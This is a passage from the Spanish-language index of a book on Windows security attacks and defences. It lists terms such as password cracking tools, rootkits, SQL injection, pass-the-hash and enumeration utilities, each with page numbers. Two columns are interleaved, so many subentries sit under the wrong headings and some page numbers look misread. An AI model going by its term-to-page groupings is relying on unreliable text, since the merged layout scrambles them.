administrador
explotación, usuarios afectados y posibilidad
creación de señuelos, 132-133
de descubrirlo (DREAD), 5
descritas, 23
DarunGrim, complemento, 173
deshabilitadas, 133
Data Thief, herramienta, 302
enumeración de consideraciones, 118-119
datos. Véase también información
falla de inicio de sesión, 20-21
de sistema, 198. Véase también, datos
importancia de protegerlas, 121
descritos, 235-236
intentos de inicio de sesión, 20-21
estructuras de datos de kernel, 236
locales, 118-119
extracción de almacenamiento protegido,
ocultas, 22
204-205
SID y, 20-21, 132
flujo de datos alternos, 268
cuentas de usuario, 22-25. Véase también cuentas
metadatos, 281
arcserve, 122
minado, 198-201
asignación de personalidad, 33
recuperación de datos de archivo temporal,
bloqueo, 119-120, 130-131
355-358
cambio de nombre de, 136
Registrador de Internet, 55
campo Comentarios y, 118
tarjeta de crédito, 3, 4
control mediante Control de cuentas de
Davis, Mike, 201
usuario, 375-377
DC (controladores de dominio), 41-46
cuentas de copia de seguridad, 119, 121
DCOM (modelo distribuido de objetos de compo-
cuentas de invitado, 119-120
nentes), interfaz, 156-158
cuentas de servicio, 23-25
DDF (campo de descifrado de datos), 350-351
cuentas integradas, 22-23
DDL, desencadenadores, 281
de uso poco frecuente, 119
defensas basadas en host, 76
delegación, 35
delegación, 35
deshabilitado, 119-120, 130-131, 133-134
DelGuest, utilería, 120
en comparación con usuarios, 22
Delprot, rootkit, 231-232
expirado, 133-134
demo, cuentas, 122
menos privilegiadas y, 30, 375
DEP (prevención de la ejecución de datos), 18, 181-
privilegios, 11, 22, 415
183, 398. Véase también SafeSEH
revisión general, 22
DEP, sistemas, 203-204
symbiator, 122
depósito, 236
usuario tivoli, 122
Depuración, privilegios, 31
cuentas integradas, 22-23
depuradores
Culp, Scout, 291
derechos de usuario, 31
Cult of the Dead Cow, 148
sobreflujo del montón y, 168-169
.cur, extensión, 319
WinDBG, 169, 254-255
cursor animado. Véase ANI
derechos
Custom.config, archivo, 49
de inicio de sesión, 30-31
CVSS (sistema de clasificación de vulnerabilidades
de negación, 30, 31
comunes), 5
de usuario, 30-31
CyberCorp Scanner, herramienta, 126, 127
desafío/respuesta

índice 431
autentificación, 37-38 discos duros

hashes, 140-142 acceso directo al disco, 251
descriptores de seguridad, 19 apertura con dskprobe, 355-358
descubrimiento de contraseñas, 210-220 ataques físicos, 354-363
con Cain & Abel, 216-218 cifrado. Véase Cifrado de unidad BitLocker
con John the Ripper, 212-213 protección con contraseña, 351
con LC4/LC5, 216 recuperación de datos de archivos
con LCP, 216-217 temporales, 355-358
con MDCrack, 215-216 discos flexibles, 232
con programas GUI, 216-218 diseño de pila, 397-398
contramedidas, 218-219 dispositivos
hashes LM, 210-219 administración, 258
hashes NT, 214-218 ataques a, 359-363
hashes NTLM, 145, 213, 219 ocultos, 258
herramientas de línea de comandos para, DKOM (manipulación directa de objetos de
212-213 kernel), 231, 240-244
revisión general, 210 DLL
servicios de Windows, 140-147 caballo de Troya passfilt, 129
desfiguración, sitios Web, 274 comparación, 173-181
DESX (estándar extendido de cifrado de datos), inyección, 208
350 passfilt, 129
detección DMA (acceso directo a memoria), 359
basada en registro de sucesos, 260-261 DNS (sistema de nombres de dominio)
de rootkits basada en vista cruzada, 252-254 enumeración, 101-103
del espacio de nombres, 260 registro SRV, 101
develación de código fuente, vulnerabilidades, 295 servidores, 55, 101-103, 412
DHCP (protocolo de configuración dinámica de transferencias de zona, 75
host), 145 dominios, 41-46
Di Paola, Stefano, 321 comprometidos, 45
diccionario confiables, 86
ataques, 123-135 contraseñas, 204
descubrimiento, 138-139 cuentas, 118, 311-312, 409
dir, comando, 198 de Windows, 41-46
direcciones IP enumeración, 77
base de datos ARIN, 56-57 Internet Explorer y, 325
en comparación con nombres NetBIOS, nombres, 55, 57
74-82 que ve a Internet, 44
herramienta whois y, 55-57 Dormann, Will, 322-323
rastreo, 259 Dornseif, Maximillian, 359
Direct Host (SMB sobre TCP), 75 DoS, ataques. Véase negación del servicio (DoS),
Directiva de seguridad ataques
sucesos de falla de inicio de sesión, 131-132 DOS, plataforma, 364
umbral de bloqueo de cuentas, 130 DPAPI (interfaz de programación de aplicaciones
directivas para protección de datos), 205-210
de auditoría, 46 DREAD (daño posible, capacidad de reproducción
de grupo, 28, 412 y de explotación, usuarios afectados y posibili-
de restricción de software, 190 dad de descubrirlo), 5
de seguridad, 5-8 DRF (campo de recuperación de datos), 350-351

controladores de dominio, 81-82

DRM (administración de derechos digitales), 233
descrita, 74
DSClient (cliente de servicios de directorio), 38,
DNS, 101-103
147
dominios, 77
dskprobe, herramienta, 305-358
dominios de confianza, 86
Dsniff, herramienta, 201
en comparación con recolección de
DumpACL, herramienta, 87-88
información/rastreo, 74
DumpSec, herramienta, 87-88
grupos, 107-109
DVD, unidad, 360-361
herramientas todo en uno, 111-112
NetBIOS, 74-82
recursos compartidos, 85-86
referencias, 113-114
▼ e revisión de resultados de rastreo, 74-76
eco, solicitudes, 60-61 RPC, 82-84
Eddington, Michael, 169 servicios clave como objetivo, 74, 75
eEye BootRootkit, 359-360 sesiones nulas, 85-96
efsinfo, herramienta, 351 SMB, 84-101
elementos ocultos SNMP, 103-107
archivos, 240, 247, 254, 259, 268 usuarios, 86, 92, 107-109
conexiones, 230 epdump, herramienta, 83
conexiones de red, 230 EPMAPPER, entrada, 84
controladores, 243 EPROCESS, bloques, 234, 240-244
cuentas de administrador, 22 EFS. Véase sistema de cifrado de archivos
dispositivos, 258 equipo, cuentas, 28-30, 35
elementos ocultos con rootkits, 227 ERD Commander, 346
procesos, 230, 259 error del sistema, 59, 155
puertos, 137 errores
elevación, 189, 249 comandos de SQL, 296-306
ELM (monitor de registro de eventos), 132 “Cuenta deshabilitada”, 120
endurecimiento error de sistema, 59, 155
de Windows, 407-413 “Ha ocurrido un error inesperado en la
del servicio, 24-25 red”, 155
servicios de Windows, 24-25, 377-387 “Nombre de columna incorrecto”, 297
sistemas Windows Vista, 24-25 ODBC, 297
Windows 2000 y sistemas posteriores, 407- red, 155
413 “Sintaxis incorrecta cerca de”, 297
ensamblados, 49 SQL Server, 279-280, 301-302
Enterprise.config, archivo, 49 ESC (configuración mejorada de seguridad), 339
entorno escalada de privilegios, 188-191, 375-377
consentido, 36 espionaje. Véase también olfateo
de conversión aislado de Microsoft Office autentificación Kerberos, 137-139
(MOICE), 320 autentificación de Windows, 137-148
previo a la instalación de Windows (WinPE), Esta empresa, grupo, 29
346 Esta empresa, SID, 45
Entradas de control de acceso (ACE), 376-377 estándar extendido de cifrado de datos (DESX),
enum, herramienta, 88-90, 127 350
enumeración, 73-114 estándar de seguridad de datos de la industria del
Active Directory, 107-111 pago con tarjeta (PCI DSS), 4, 6, 70
adivinación de contraseñas, 89-90, 118-119 EULA (acuerdo de licencia de usuario final), 333

índice 433
evaluación de riesgo, 4 SID y, 32-36, 375

Evanchick, Michael, 325 vinculadas, 36
EventAdmin, herramienta, 132 filtros
EXEC, instrucción, 304, 314-315 contraseña, 128-129
exploradores Web. Véase también Internet Explorer de contraseñas (passfilt), 128-129
cookies. Véase cookies filtro de suplantación de identidad, 331
exploración de bajos privilegios, 339-340 IPSec, 67, 411-412
explorador Firefox, 339 ISAPI, 68
explotaciones find, comando, 198
ANI, 181-183 findstr, comando, 198-199
aplicaciones cliente, 319-327 Firefox, explorador, 339
de cliente Web, 319-327. Véase también firewall de autentificación, 45-46
aplicaciones de cliente Firewall de Windows. Véase también firewalls
de día 0, 158 bloqueo de servicios con, 76
de dominio cruzado, 325-327 configuraciones avanzadas, 76
descritas, 318 IPSec y, 411-412
documentos de Office, 320-321 nuevas características, 411
GDI, 189 rastreo de puertos y, 65, 67, 284
IIS SSL PCT, 158-160 restricción de acceso SMB, 96
expresiones regulares, 415 servicios de Windows, 386
extensiones SQL Server y, 284, 307
.ani, 319 firewalls. Véase también autentificación de Firewall
.asp, 296 de Windows, 45-46
.aspx, 296 rastreo de puertos y, 65, 67, 284
.cur, 319 firma de código en modo de kernel (KMCS), 250
.gif, 263-264 firma de SMB, 152, 155
.ico, 319 físicos, ataques
.inc, 295 archivos, 310
.src, 295 ataques a dispositivos/medios, 359-363
extracción de contraseñas, 202-210 ataques en línea, 346, 354-363
extranets, 54 ataques fuera de línea, 346-354
extremos TCP, 259 contramedidas, 351-354, 358, 363
controladores de dispositivo residentes en
kernel, 17
▼ F controladores de dominio, 412
discos duros, 354-363
falsificación información general, 346, 363-364
ataques, 142, 152-153 redes inalámbricas, 361-362, 364
nombres, 142, 152-153 reemplazo de protector de pantalla, 347
Fedon, Giorgio, 321 referencias, 364-366
FEK (clave de cifrado de archivo), 350-353 servidores, 310
fichas, 32-36. Véase también fichas de acceso; FLINK, puntero, 241-243
autorización flujo de datos tabulares (TDS), protocolo, 188
creadas por LSASS, 32 flujos de datos, 268
de acceso, 19, 32, 375, Véase también fichas flujos de datos alternos (ADS), 268
descritas, 32 fpipe, herramienta, 197
filtradas, 36 frases de contraseña, 130
restringidas, 33-34 FrontPage, 59

fscan, herramienta. Véase ScanLine, herramienta globales, 42

FTP, servidores, 230 identidades especiales, 28, 29
fuera de línea, ataques, 346-354 integrados, 25, 26
fuerza bruta, ataques invitados, 22, 23
autentificación Kerberos, 138-139 locales, 42
en comparación con ataques de diccionario, predefinidos, 25, 27
124 restringidos, 28, 190
hashes LM, 211 revisión general, 25-28
SQL Server, 289 universales, 43
función dedicada, 12-13 GS (cookies de pila), 181-183, 388-391
FU, rootkit, 231 Guía de planeación del despliegue, 43-44
funcionamiento interno de Windows, 235-240 Guninski, Georgi, 322
funciones, 11, 279 gusanos
de aplicación, 279 Blaster, 156-158
FUTo, rootkit, 243, 245, 249-250 envío de correos electrónicos masivos, 263
LOVESAN, 156
sobreflujos de búfer y, 387
▼ G SQL Slammer, 274
Storm, 263
Gartner, 274
GDI (interfaz gráfica de dispositivos), 189
GDI, explotación, 189
“gemelos malvados”, 289
▼ H
generadores, 170-172 hackeo
GeryHats Security, 325, 326 Google, 59, 282-283
GFlags (marcas globales), 167-169 servicios de Windows, 162-164
gflags.exe, utilería, 167-169 sitio winhackingexposed.com, 421-422
.gif, extensión, 263-264 SQL Server, 274-277, 281-306
GIF, archivos, 263-264 Hacker Defender, rootkit, 230, 240, 247, 253, 259-
Gillon, Matan, 325-327 260
GINA (identificación y autorización gráficas), 200 hackers, 16. 30
GLBA (acta Gramm-Leach Bliley), 6 hashes.txt, archivo, 150
Global, alcance, 42 hashes
global, herramienta, 86 ataques de fuerza bruta, 211
GMER, rootkit, 233, 253 ataques de paso de hash, 220
Google, 58-59. Véase también motores de búsqueda credenciales y, 219-220
.gov, dominio, 55 descubrimiento con programas de GUI, 216-
GPO (objetos de directiva de grupo), 339 218
Grace, James, 348 descubrimiento de contraseñas y, 210
Gramm-Leach Bliley, Acta (GLBA), 6 inyección en archivo SAM, 348-349
grep, herramienta, 199 LM, 37-39, 140-142, 210-219
grupo, cuentas, 119 NT, 37-38, 214-218
grupos. Véase también grupos específicos NTLM, 38, 39, 141-147, 213
administrativos. Véase administradores, gru- OWF, 213
pos paso, 219-220
bien conocidos, 28, 29 respuesta a desafío, 140-142
de noticias, búsquedas, 282, 283 SHA-1, 251
enumeración, 107-109 heaptext.exe, 168-169

índice 435
herramienta de auditoria de NetBIOS (NAT), IE. Véase Internet Explorer

125-126 IEAK (kit de administración de IE), 339
Herramienta de configuración de superficie, 281 IFRAME, etiquetas, 327
Herramientas de depuración para Windows, IIS (servidor de información de Internet)
167-169 aplicaciones Web y, 413-414
herramientas para rastreo de puertos, 62-66 contramedidas, 160
hex, editores, 178-179 cuentas integradas, 23
HFNetChk, herramientas, 307, 409 explotación de SSL PCT, 158-160
HIPAA (Acta de Portabilidad y responsabilidad de SQL Server y, 281-282, 288
seguros médicos), 6 IIS HTTP, encabezados, 68
hipervínculos IIS SSL PCT, explotación, 158-160
a servidores fraudulentos, 144 IIS_WPG, grupo, 23
en correo electrónico, 144, 332 IKS (Invisible Keylogger Stealth), 199
hipervisor, rootkits basados en, 262 IL. Véase niveles de integridad
hisecws, plantilla, 409 impacto, 4
HITB (Hack In The Box), rootkit, 234 .inc, extensión, 295
Hoglund, Grez, 228 inclusión en caché de inicios de sesión, 204
hojas de estilo en cascada (CSS), 325 Indización, servicio, 23
homoglifos, ataques, 264-266 información. Véase también datos
hosts de servicio (svchosts), 385-386 como activos, 3-4
HTML, código confidencial, 3-4
obtención de credenciales LM/NTLM, 144 corporativa, 55-59
páginas Web, 59 de la compañía, 58-59
rutas de archivo reveladas en, 59 de propietario, 3
HTTP HEAD, método, 68 organizacional, 55
HTTP, inyector de errores, 170-172 personalmente identificable, 3
huellas de pila pasivas, 69 SQL Server, 282.286
Hulton, David, 359 ingeniería social, 327-334
Hunt, Galen, 255 adware, 332-334
ataques de suplantación de identidad, 233,
235, 328-332
▼ i descrita, 13
riesgo de, 13
IAT (tabla de direcciones de importación), 237, spyware, 328, 332-334
239, 240 Inicio seguro, característica, 250-251
IceSword, herramienta, 253 Inicio de sesión anónimo, grupo, 28, 29
ICMP (protocolo de mensaje de control de inicios de sesión
Internet), 60-61 anónimos, 28, 29, 85, 109-110
ICMP, paquetes, 67 caballos de Troya, 200
ICMP, solicitud de eco, 60-61 caché de inicio de sesión en dominio, 353-
.ico, extensión, 319 354
ID de suceso, 131 en caché, 204
identidades especiales, 28, 29 espionaje de, 137-138
identificación y autorización gráficas (GINA), 200 fallidos, 20-21, 130, 131-132, 279-280, 314
identificadores de objetos (OID), 104-105 interactivos, 190
identificadores de seguridad. Véase SID nativos, 278
identificadores relativos. Véase RID negación de acceso, 31
IE de modo protegido (PMIE), 339 nota legal personalizada para, 136-137

SMB, 143-144 consideraciones/consejos sobre seguridad,

SQL Server, 278-279 334-335, 418-419
Instrumentación de administración de Windows cookies. Véase cookies
(WMI), 127-128, 195 motores de búsqueda. Véase motores de
INTERACTIVE, usuarios, 28, 29 búsqueda
intercambio nombres de dominio, 55, 57
archivos, 97-98 recopilación de información. Véase
cuentas de grupo, 119 recopilación de información
impresoras, 97, 98 servicios de Internet COM, 156-158
red, 38-39 servicios de Windows y, 75
interfaces de programación de aplicaciones. Véase interruptor de enumeración de directiva de
API contraseñas, 89
interfaces intranets, 54
de modo de kernel, 16, 17-18 Invisible Keylogger Stealth (IKS), 199
externas, 12 invitado, cuentas, 119-120
interfaz de programación de aplicaciones de Invitado, grupo, 22, 23
mensaje (MAPI), 84 inyección
interfaz de programación de aplicaciones para ciega de SQL, 297-298, 301-302
protección de datos (DPAPI), 205-210 de errores, 169-172
interfaz gráfica de dispositivo (GDI), 189 de SQL, ataques, 296-306, 313-314
intermediario, ataques, 153-155 IP Network Browser, 104-105
Internet Explorer (IE). Véase también exploradores IPC$, recurso compartido, 98, 135
Web iPod, ataque basado en, 359
ataques a zona de equipo local, 326-327 IPSec (seguridad de protocolo de Internet), 295
ataques de acceso de dominio cruzado, IPSec, autentificación de paquete, 201
325-326 IPSec, filtro, 67, 411-412
carpeta Archivos temporales de Internet, IR (respuesta de incidente), 9
263 Isaas.exe, proceso, 18
contramedidas, 327-328 Isadump2, herramienta, 121, 203
explotaciones, 231 ISAPI, filtros, 68
filtro de suplantación de identidad, 331 ISO 17799, estándar, 5-6
hipervínculos a servidores fraudulentos, 144 ISO 27001, estándar, 6
kit de administración de IE (IEAK), 339 .ISO, imágenes, 230
método showModalDialog, 327 ISO, estándares, 5-7
modo protegido, 319 ISO, imagen de CD-ROM, 360
objeto de ayuda del explorador (BHO), 334 IUSR, cuenta, 23,33
PMIE y, 339 Ivgi, Rafel, 327
recuperación/volcado de contraseñas en, IWAM, cuenta, 23
206
vulnerabilidades, 325-327
zonas de seguridad, 335-339
Internet Explorer de derechos bajos (LoRIE), 35-36
Internet. Véase también aplicaciones cliente; sitios ▼ J
Web
JavaScript, 325
ataques de suplantación de identidad, 233,
Johansson, Jesper, 36
235, 328-332
John the Ripper, programa, 212-213
cambio de entorno de las amenazas y, 229,
jtr, herramienta, 214
235

índice 437
LCP, herramienta, 214, 216-217

▼ K LDAP, clientes, 107-109
LDAP, herramientas de consulta, 107-109
kaht2, programa, 157
LDAP (protocolo ligero de acceso a directorios),
KDC (centro de distribución de claves), 138
servicio, 75
Keir, Robin, 62
ldp.exe, herramienta, 107-109
KerbCrack, 138-139
lenguaje transportable de marcado de documentos
Kerberos, autentificación
(PDML), formato, 170-172
ataques de fuerza bruta, 138-139
límites administrativos, 43-46
espionaje, 137-139
línea de comandos
olfateadores, 138-139
control, 191-194
olfateo de respuesta LM y, 147-148
herramientas, 212-213
versiones de Windows, 39, 148
Linux, plataforma
Kerberos, tráfico, 67
ataque basado en la ejecución de iPod, 359
Kerberos v5, protocolo, 38, 116
ataques fuera de línea y, 347
KerbSniff, 138, 139
módulos de kernel y, 227
kerbtray, utilería, 148
LIST_ENTRY, estructura, 241-243
kernel
lista de control de acceso del sistema (SACL), 46
ataque, 16, 17-18
lista de control de acceso discrecional (DACL), 19,
estructuras de datos, 236
33, 34, 376-377
firma de controlador, 18
listas
modo, 236, 237
de palabras, modo, 212
rootkits y, 227
de verificación de seguridad, 405-420
kit de administración de IE (IEAK), 339
de verificación de seguridad de Windows,
kits de herramientas, 186-191
405-420
Klein, Christian, 359
listas de control de acceso obligatorio (MACL),
KLister, herramienta, 252
372-373
KMCS (firma de código en modo de kernel), 250
listas de control de acceso, Véase ACL
KPP (protección de parche de kernel), 248, 252
LM (LAN Manager)
krbtgt (centro de distribución de claves de kernel),
autentificación LM, 140-148
cuenta, 23
autentificación NTLM, 38, 39, 116
Kumar, Nitin, 360
autentificación NTLMv2, 38, 39, 116, 146-147
Kumar, Vipin, 360
configuración de nivel de autentificación,
Kuperus, Jelmer, 327
147
contraseñas, 140-147, 150
hashes, 37-39, 140-142, 210-219
▼ L olfateo de respuesta, 140-148
rutina desafío-respuesta, 140-147
L0phtcrack (LC), herramienta, 140-143, 216 LM MIB, 413
laboratorio, cuentas, 118, 122 LM, algoritmo, 140-147
Lagerweij, Bart, 346 lmbf, herramienta, 212-213
LAN Manager. Véase LM (LAN Manager) LMHOSTS, archivo, 75
LAN Manager de Windows NT. Véase NTLM LMZ (zona de equipo local), ataques, 326-327, 335
laptop, equipos, 275 LMZ, característica de bloqueo, 326
Larholm, Thor, 326 Local, alcance, 42
LC (L0phtcrack), herramienta, 140-143 local, cuenta
LC4/LC5, herramientas, 216-217 administrador, 118-119
LCMCompatibilityLevel Registry, configuración, en comparación con cuentas de dominio,
147 118

descrita, 236
modelo de seguridad para, 38-39
física, 245
SQL Server, 311-312
proceso, 254-255
locales, grupos, 42
virtual, 232, 244-247
LocalService, característica, 380
volcado, 254-255
LocalSystem, cuenta, 23, 35
menor cantidad de privilegios
LoRIE (Internet Explorer de derechos bajos), 35-36
ACL y, 11
LOVESAN, gusanos, 156
cuentas de usuario, 30, 375
LSA (autoridad de seguridad local), 18, 36, 200
malware y, 235
LSA, volcado, 202-204
servicios de Windows, 380-384
LSASS (subsistema de autoridad de seguridad lo-
SQL Server y, 311-312, 415
cal), 18, 32, 46, 203
Messenger, servicio, 78
LUA (acceso al usuario con los menores
metadatos, 281
privilegios). Véase Control de cuentas de
Metasploit, marco conceptual, 159, 183
usuario (UAC)
metodología abierta para detección de compromi-
sos (OMCD), 253
MIB (base de información de administración), 104-
▼ M 105, 413
MIC (control obligatorio de identidad), 35-36, 339
Machine.config, archivo, 49 Micalizzi, A., 323
MACL (listas de control de acceso obligatorio), Microsoft
372-373 contacto relacionado con problemas de se-
MACS (sistema de colección de auditorías de guridad, 281
Microsoft), 47 sistema DREAD, 5
maleadores de puerto RPC, 82-84 soporte de productos, 229-230
malware, 229, 230, 232, 235 Microsoft FrontPage, 59
Management Studio, 308 Microsoft Malicious Software Removal Tool, 247
manejador estructurado de excepciones. Véase Microsoft Office, documentos, 235, 320-321
SEH Microsoft Operations Manager (MOM), 47, 411
manejo de excepciones, 392-397 Microsoft RPC (MSRPC). Véase también RPC
manifiesto de la aplicación, 35 configuración del nivel de autentificación de
manipulación directa de objetos de kernel LAN Manager, 147
(DKOM), 231, 240-244 Endpoint Mapper, 75, 82-84, 156
mapeador de extremo, 75, 82-84, 156 sobreflujos de búfer, 156-158
MAPI (interfaz de programación de aplicaciones Microsoft Software Inventory Analyzer, 307
de mensajería), 84 Microsoft Systems Management Server, 307
máquina, cuenta. Véase equipo, cuentas Middleton, Dennis, 254
máquina virtual (VM), 262 .mil, dominio, 55
marcas globales (GFlags), 167-169 Miller, Matt, 391, 396, 399
marco de pila, 388, 389 minado de datos, 198-201
marcos conceptuales de explotación, 159 del sistema, 198-201
Masterpreter, 183 MMC (consola de administración de Microsoft),
MBR (registro maestro de arranque), 232 47, 48
MBSA (Microsoft Baseline Security Analyzer), 173 modelado de amenazas, 3
McLain, Fred, 322 modelo distribuido de objetos de componentes
MDCrack, programa, 214-215 (DCOM), interfaz, 156-158
MDCrack, utilería, 215-216 modelo de objeto de documento (DOM), 329
membresías de grupo, 118 modelos
memoria de control de acceso de Windows, 33-34

índice 439
de riesgo, 5 negación del servicio (DoS), ataques

de seguridad, 38-39 contramedidas, 417-418
modos umbrales de bloqueo y, 131
de acceso de procesador, 236 TCP/IP y, 417
de un solo descubrimiento, 212 net, comando, 118
de usuario, 16, 17, 236-238, 251 NetBIOS
incremental, 212-213 contraseñas de BIOS, 234
seguro, 256 enumeración, 74-82
modularidad, 12-13 falsificación de nombres, 142, 152-153
módulo de plataforma seguro. Véase TPM nombres, 74-82
módulos de kernel, 227 resolución de nombres, 152
MOICE (entorno de conversión aislada de sufijos, 78-80
Microsoft Office), 320 netcat (nc), utilería, 68
MOKB, archivos, 189 Netcat, consola, 192-193
MOM (administrador de operaciones de nete, herramienta, 90
Microsoft), 47, 411 .NET Framework, 48-49
monitor de registro de sucesos (ELM), 132 .NET Framework, biblioteca de clases, 49
montón, 236 netlibs (bibliotecas de red), 277-278
montones de página, 168-169 net session, comando, 151
motor en tiempo de ejecución de lenguaje común net share, comando, 135
(CLR), 48-49 net use, comando, 21, 121-122, 125, 151
motores de búsqueda net view, comando, 77
Google, 58-59, 282-283 Network Password Recover, herramienta, 206, 207
prevención de encuentro de sitios Web, 59 NetworkService, característica, 380
recopilación de información y, 58-59 niveles de integridad (IL), 33-36, 372-374
msconfig.exe, utilería, 234, 257, 333 nltest, herramienta, 82
mscorcfg.msc, herramienta, 49 nmap (mapeador de red), utilería, 62-64, 69
msfpescan, herramienta, 393 NoDefaultExempt Registry, clave, 67, 411-412
MSRPC. Véase Microsoft RPC “nombre de columna incorrecto”, error, 297
.MSU (paquete de actualización de Microsoft), nombre de usuario/contraseña, combinaciones,
172-173 122
Mullen, Tim, 92, 94, 135-136 Nordahl-Hagen, Petter, 348-349
muy buena privacía (PGP), 201 notepad.exe, 264
nslookup, herramienta, 101-103
NT. Véase Windows NT, sistemas
▼ n NT, hashes, 37-38, 214-218
NT, rootkits, 228
-n, interruptor, 201 NT AUTHORITY, dominio, 28
Nagy, Ben, 395 NT LAN Manager. Véase NTLM
Nanika.ppt, archivo, 320 ntbf, comando, 214, 216
NAT (herramienta de auditoría de NetBIOS), ntbtlog.txt, archivo, 234, 257-258
125-126 NTFSDOS, utilería, 346
nativos, inicios de sesión, 278 NTLM (NT LAN Manager)
navegación con la menor cantidad de privilegios, autentificación, 38, 39, 116
339-340 contraseñas, 143-145, 150
NBNS. Véase servicio de nombres NetBIOS protocolos, 116, 145-146
nbstat, utilería, 81 NTLM, algoritmo, 38, 39
nbtscan, comando, 78-81 NTLM, hash, 38, 39, 141-147, 213
nbtstat, comando, 78-80 NTLM 2, protocolo, 145-146

ntlm2, protocolo, 146 paquetes, 200-201, 292-296

NTLMv2, autentificación, 38, 39, 116, 146-147 OPENROWSET, funcionalidad, 302-303
NTQuerySystemInformation, función, 236 operaciones seguras contra fallas, 12
NTRootkit, 228 opciones de ejecución de archivos de imágenes,
nulas, sesiones 167-169
descritas, 84 Otra empresa, grupo, 29
enumeración, 85-96 Otra empresa, SID, 45
enumeración de SMB, 85-101 OU (unidades organizacionales), 100
umbrales de bloqueo, 119 Outlook/Outlook Express (OE), 144
volcado de recursos compartidos, 87-88 OWA (acceso Web a Outlook), 84
Numara Track-It, herramienta, 307 OWF (función de una vía), 39
OWF, hash, 213
▼ O
O’Dwyer, Frank, 139
▼ P
objetos Paget, Chris, 386
ActiveX, 290-292 Páginas activas de servidor (ASP), 290-292
asegurables, 19 páginas Web
auditoría, 411 ataques a SQL Server vía, 290-292
control de acceso, 19 personalizadas, 290-292
de ActiveX, 290-292 pantallas azules, 230, 232
de ayuda del explorador, 334 paquete de actualización de Microsoft (.MSU),
de directiva de grupo, 339 172-173
de modo de kernel, 240 paquetes de servicio, 307, 408-409, 414. Véase tam-
modo de kernel, 240 bién correcciones; parches; actualización
objetos de ayuda del explorador (BHO), 334 parametrizadas, consultas, 304-306
objetos de directiva de grupo (GPO), 339 paranoia, 13
obtención de anuncios, 64, 67-69 parchado de funciones en línea, 238, 240
Ochoa, Hernán, 220 parches. Véase también correcciones; paquetes de
OCSInventory, 307 servicio; actualizaciones
OCTAVE (amenazas, activos y vulnerabilidades Baseline Security Analyzer, 409
operacionalmente críticos), 3 importancia de mantenerlas, 11
ODBC, errores, 297 inventario manual de, 409
OE (Outlook/Outlook Express), 144 protección de parche de kernel, 248, 252
Office, documentos. Véase Microsoft Office, docu- SQL Server, 307-308
mentos Paros Proxy, rastreador, 276, 298
OID (identificadores de objetos), 104-105 Partizan, herramienta, 259
OLE, base de datos, 278, 297 paso de hash, ataques, 220
olfateadores inalámbricos, 275 passfilt (filtro de contraseñas), 128-129
olfateo. Véase también espionaje passfilt.dll, archivo, 128-129
autentificación de Kerberos, 138-139 Passprop, herramienta, 133, 136
autentificación de LM, 140-148 PassView, herramienta, 205, 206, 207
contramedidas, 145-148 PatchGuard, 18, 248
contraseñas de SQL Server, 292-296 PCI DSS (estándar de seguridad de datos de la
de paquetes, 200-201, 292-296 industria del pago con tarjeta), 4, 6, 70
descrito, 137 PCR (registros de configuración de plataforma),
olfateo de respuesta de LM, 140-148 251

índice 441
PCT (transporte de comunicaciones privadas), procesos

158-160 Control de cuentas de usuario, 375
PDF, archivos, 321-322 listados, 236, 252
PDML (lenguaje transportable de marcado de modo de usuario, 240
documentos), 170, 172 ocultos, 230, 259
Peach Fuzzer Framework (PEAC-1), 169 raíz, 232
Peach, inyección de errores, 169, 170-172 RPC, 156-158
peachshark.py, herramienta, 170-172 sujetos como, 19
perfil del dominio, 76 volcado de memoria de, 255
Permeh, Ryan, 359-360 Process Explorer, utilería, 380-381
permisos protección de archivos de Windows (WFP), 399
Active Directory, 109-110 protección de parche de kernel (KPP), 248, 252
carpetas ocultas, 267-268 protección de recursos de Windows (WRP),
restrictivos, 267-268 399-402
permitir derechos, 30 protectores de pantalla, 347
PGP (muy buena privacía), 201 protocolo de configuración de reservación de re-
pilas, 236 cursos (RSVP), tráfico, 67
PipeList, herramienta, 198
protocolo de configuración dinámica de host
planeación de la continuidad en el negocio y
(DHCP), 145
recuperación de desastres (BCP/DR), 9
protocolo de datagrama de usuario. Véase UDP
plantillas de seguridad, 407, 409-411
protocolo de escritorio remoto (RDP). 194-195
plataforma Web, agujeros, 159
protocolo de mensajes de control de Internet.
PMIE (IE en modo protegido), 339
Véase ICMP
POC (punto de contacto), información, 55
protocolo de resolución de direcciones (ARP), 142.
PowerPoint, archivos, 320
144
prevención de ejecución de datos. Véase DEP;
protocolo ligero de acceso a directorios. Véase
SafeSEH
LDAP
Privado, perfil, 76
protocolo simple de administración de red. Véase
privilegios. Véase también autorización
SNMP
administrativos, 36
prueba, cuentas, 118, 122
aplicaciones, 35-36, 303-304
PsExec, 192, 193-194
Control de cuentas de usuario y, 375-377
PSGetSid, herramienta, 378-379
cuentas de servicio, 24-25, 380-384
cuentas de usuario, 11, 22, 415 PSS (servicios de soporte de producto), 229-230
cuentas integradas, 22-23 Público, perfil, 76
derechos de usuario y, 30-31 “puerto ICMP inalcanzable”, mensaje, 62
elevación, 189, 249 puertos
exploración con privilegios bajos, 339-340 ocultamiento, 137
la menor cantidad. Véase menor cantidad de origen, 61
privilegios rastreo. Véase rastreo de puertos
servicios de Windows, 24-25, 380-384 SQL Server, 283-284, 307
usuarios SQL, 303-304, 415 TCP, rastreo, 61-67
probabilidad, 4 TCP. Véase TCP, puertos
procedimientos almacenados, 303-306, 415 UDP. Véase UDP, puertos
procesamiento por lotes, cuentas. Véase servicio, punto de contacto (POC), información, 55
cuentas punto-punto-diagonal, sintaxis, 160
proceso ejecutivo (EPROCESS), bloques, 234, 240- puntos de acceso inalámbricos, 289-290, 292
244 puntos de conexión inalámbrica, 289-290, 292

puntos de extensibilidad de inicio automático categorías, 54

(ASEP), 333-334 consideraciones, 69-70
pwdump2, herramienta, 209 detección de sistema operativo, 69
en comparación con enumeración, 74
herramienta whois, 55-57
▼ Q herramienta Winfingerprint, 111-112
motores de búsqueda de Internet, 58-59
QA, personal, 315 pilas, 69
referencias, 70-71
revisión general, 54-55
▼ R TCP/IP, 69
recursos
raíz, proceso, 232 aislamiento, 377-379
.RAR, archivos, 230 compartidos, 85-88, 135
RAS (servicio de acceso remoto), 111 compartidos administrativos, 135
RAS, servidores, 413 problemas de seguridad, 14
rastreadores protección, 399-402
aplicación, 298 servicios de Windows, 377-379
CyberCorp Scanner, 126, 127 Red, grupo, 29
Paros Proxy, 276, 298 redes
Web Vulnerability Scanner, 298 acceso restringido a, 386
rastreo, 69-71 autentificación, 36-39
aplicaciones, 310 compartir, 38-39
barridos de ping, 60-61, 67 conexiones. Véase conexiones
obtención de anuncios, 67-69 control de acceso, 31, 36-39, 386
comparación con enumeración, 74 denegación de acceso, 31
consideraciones, 69-70 errores, 155
